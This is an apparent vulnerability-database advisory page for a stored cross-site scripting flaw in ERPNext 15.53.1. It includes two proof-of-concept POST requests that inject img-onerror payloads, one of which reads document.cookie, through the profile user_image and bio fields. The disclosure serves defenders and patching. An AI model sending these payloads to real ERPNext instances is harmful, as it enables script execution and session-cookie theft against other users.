Lucene search
K

📄 ERPNext 15.53.1 Cross Site Scripting

🗓️ 03 Jun 2025 00:00:00Reported by Ron EType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 88 Views

Authenticated users can inject JavaScript via user_image or bio fields, enabling stored XSS in profile views.

Code
An authenticated user can inject malicious JavaScript into the user_image
    field of the profile page using an XSS payload within the file path or HTML
    context. This field is rendered without sufficient sanitization, allowing
    stored script execution in the context of other authenticated users.
    
    
    *Proof of Concept:*POST
    /api/method/frappe.desk.page.user_profile.user_profile.update_profile_info
    HTTP/2
    Host: --host--
    
    profile_info={"user_image":"/private/files/\"><img src=x
    onerror=alert('XSS')>fd12cb.jpg"}
    
    --- packet storm appended second exploit ---
    
    An authenticated attacker can inject JavaScript into the bio field of their
    user profile. When the profile is viewed by another user, the injected
    script executes.
    
    *Proof of Concept:*
    
    POST
    /api/method/frappe.desk.page.user_profile.user_profile.update_profile_info
    HTTP/2
    Host: --host--
    
    profile_info={"bio":"\"><img src=x onerror=alert(document.cookie)>"}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jun 2025 00:00Current
6.8Medium risk
Vulners AI Score6.8
88